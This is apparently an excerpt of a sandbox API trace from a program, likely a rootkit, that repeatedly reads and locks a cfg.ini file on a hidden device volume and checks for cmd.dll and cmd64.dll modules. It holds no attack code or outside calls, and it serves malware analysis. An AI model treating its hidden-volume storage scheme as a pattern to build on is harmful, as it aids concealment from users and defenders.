[0129.084] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.084] KeEnterCriticalRegion () [0129.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b94000 [0129.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.084] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.084] IdePortDispatch () returned 0x103 [0129.084] KeWaitForMutexObject () returned 0x0 [0129.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.084] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.084] IdePortDispatch () returned 0x103 [0129.085] KeWaitForMutexObject () returned 0x0 [0129.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.085] KeLeaveCriticalRegion () [0129.085] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.085] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.085] KeEnterCriticalRegion () [0129.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.085] KeLeaveCriticalRegion () [0129.085] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.085] KeEnterCriticalRegion () [0129.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.085] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.085] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.086] KeLeaveCriticalRegion () [0129.086] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.086] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.086] KeEnterCriticalRegion () [0129.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.086] ExFreePoolWithTag (P=0xfffffa8003c03c50, Tag=0x0) [0129.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.086] KeLeaveCriticalRegion () [0129.086] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.086] ReleaseMutex (hMutex=0xf0) returned 1 [0129.086] Sleep (dwMilliseconds=0x124f80) [0129.101] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.101] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.101] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.101] KeEnterCriticalRegion () [0129.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.102] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.102] IdePortDispatch () returned 0x103 [0129.102] KeWaitForMutexObject () returned 0x0 [0129.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.102] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.102] KeLeaveCriticalRegion () [0129.102] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.102] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.102] KeEnterCriticalRegion () [0129.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.102] KeLeaveCriticalRegion () [0129.102] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.102] KeEnterCriticalRegion () [0129.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.102] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.102] IdePortDispatch () returned 0x103 [0129.102] KeWaitForMutexObject () returned 0x0 [0129.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.103] KeLeaveCriticalRegion () [0129.103] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.103] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.103] KeEnterCriticalRegion () [0129.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b99000 [0129.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.103] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.103] IdePortDispatch () returned 0x103 [0129.103] KeWaitForMutexObject () returned 0x0 [0129.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.103] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.103] IdePortDispatch () returned 0x103 [0129.103] KeWaitForMutexObject () returned 0x0 [0129.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] KeLeaveCriticalRegion () [0129.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.104] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.104] KeEnterCriticalRegion () [0129.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] KeLeaveCriticalRegion () [0129.104] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.104] KeEnterCriticalRegion () [0129.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.104] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] KeLeaveCriticalRegion () [0129.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.104] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.104] KeEnterCriticalRegion () [0129.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.104] KeLeaveCriticalRegion () [0129.105] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.105] ReleaseMutex (hMutex=0xf0) returned 1 [0129.105] Sleep (dwMilliseconds=0x124f80) [0129.120] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.120] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.120] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.120] KeEnterCriticalRegion () [0129.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.120] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.120] IdePortDispatch () returned 0x103 [0129.120] KeWaitForMutexObject () returned 0x0 [0129.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.121] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.121] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c038f0 [0129.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.121] KeLeaveCriticalRegion () [0129.121] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.121] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.121] KeEnterCriticalRegion () [0129.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.121] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.121] KeLeaveCriticalRegion () [0129.121] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.121] KeEnterCriticalRegion () [0129.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.121] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.121] IdePortDispatch () returned 0x103 [0129.121] KeWaitForMutexObject () returned 0x0 [0129.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.121] KeLeaveCriticalRegion () [0129.121] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.122] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.122] KeEnterCriticalRegion () [0129.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9e000 [0129.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.122] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.122] IdePortDispatch () returned 0x103 [0129.122] KeWaitForMutexObject () returned 0x0 [0129.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.122] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.122] IdePortDispatch () returned 0x103 [0129.122] KeWaitForMutexObject () returned 0x0 [0129.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.122] KeLeaveCriticalRegion () [0129.122] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.123] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.123] KeEnterCriticalRegion () [0129.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] KeLeaveCriticalRegion () [0129.123] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.123] KeEnterCriticalRegion () [0129.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.123] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] KeLeaveCriticalRegion () [0129.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.123] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.123] KeEnterCriticalRegion () [0129.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] ExFreePoolWithTag (P=0xfffffa8003c038f0, Tag=0x0) [0129.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.123] KeLeaveCriticalRegion () [0129.123] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.123] ReleaseMutex (hMutex=0xf0) returned 1 [0129.123] Sleep (dwMilliseconds=0x124f80) [0129.139] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.139] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.139] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.139] KeEnterCriticalRegion () [0129.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.139] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.139] IdePortDispatch () returned 0x103 [0129.139] KeWaitForMutexObject () returned 0x0 [0129.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.139] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.139] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.139] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.139] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.139] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.139] KeLeaveCriticalRegion () [0129.139] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.140] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.140] KeEnterCriticalRegion () [0129.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.140] KeLeaveCriticalRegion () [0129.140] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.140] KeEnterCriticalRegion () [0129.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.140] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.140] IdePortDispatch () returned 0x103 [0129.140] KeWaitForMutexObject () returned 0x0 [0129.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.140] KeLeaveCriticalRegion () [0129.140] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.140] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.140] KeEnterCriticalRegion () [0129.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba3000 [0129.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.140] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.140] IdePortDispatch () returned 0x103 [0129.140] KeWaitForMutexObject () returned 0x0 [0129.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.141] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.141] IdePortDispatch () returned 0x103 [0129.141] KeWaitForMutexObject () returned 0x0 [0129.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.141] KeLeaveCriticalRegion () [0129.141] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.141] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.142] KeEnterCriticalRegion () [0129.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] KeLeaveCriticalRegion () [0129.142] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.142] KeEnterCriticalRegion () 